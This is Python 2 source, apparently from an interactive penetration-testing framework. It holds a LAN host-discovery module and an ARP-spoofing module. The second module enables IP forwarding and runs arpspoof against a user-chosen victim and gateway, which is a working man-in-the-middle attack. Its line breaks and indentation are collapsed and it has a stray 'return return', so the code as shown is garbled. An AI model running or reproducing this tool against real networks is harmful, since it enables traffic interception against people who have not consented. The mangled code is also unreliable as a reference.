def hostl(run): global defaultnet,defaulttyp try: if run!=1: actions=raw_input(d.prompt("net/lanlive")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("nets","yes","Local area net",defaultnet) #d.descrip("type","no","type scan",defaulttyp) d.helpAUX() if ping.conneted()!=False: print " You IP : ",ping.myip() else: print d.noconnect() #print " Type : {fast}{intense}" d.space() hostl(0) elif actions[0:8] == "set nets": defaultnet=ping.update(defaultnet,actions,"nets") d.change("nets",defaultnet) elif actions[0:8] == "set type": defaulttyp=ping.update(defaulttyp,actions,"type") d.change("type",defaulttyp) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return elif actions=="run" or actions=="r": d.run() try: d.space() ping.lan_ips(1) d.space() except: Errors.Errors(event=sys.exc_info(), info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) hostl(0)
def arpp(run): try: global defaultgat,defaultipv,defaultint if run!=1: actions=raw_input(d.prompt("net/arpspoof")) else: actions="run" if actions == "show options" or actions == "sop": d.option() d.descrip("target","yes","IP victim",defaultipv) d.descrip("gway","yes","Gateway-Router.",defaultgat) d.descrip("inter","yes","Interface",defaultint) d.helpAUX() if ping.conneted()!=False: ping.interfaces(1) ping.get_gateway(1) ping.my_mac_address(1) d.space() ping.lan_ips(1) else: print d.noconnect() print "" arpp(0) elif actions[0:10] == "set target": defaultipv = actions[11:] d.change("target",defaultipv) arpp(0) elif actions[0:8] == "set gway": defaultgat = actions[9:] d.change("gway",defaultgat) arpp(0) elif actions[0:10] == "set inter": defaultint = actions[11:] d.change("inter",defaultint) arpp(0) elif actions=="exit" or actions=="x": d.goodbye() exit() elif actions=="help" or actions=="h": help.help() elif actions=="back" or actions=="b": return return elif actions=="run" or actions=="r": d.run() try: print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t') print " "+Alr+" Starting ARP Poisoning..." try: os.system("arpspoof -i "+defaultint+" -t "+defaultipv+" -r "+defaultgat) except: print " "+Alr+" Stopping ARP Poisoning..." print " "+Alr+" forwarding in 0",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t\t') Errors.Errors(event=sys.exc_info()[0], info=False) except: Errors.Errors(event=sys.exc_info()[0], info=False) else: d.No_actions() except: Errors.Errors(event=sys.exc_info()[0], info=False) arpp(0)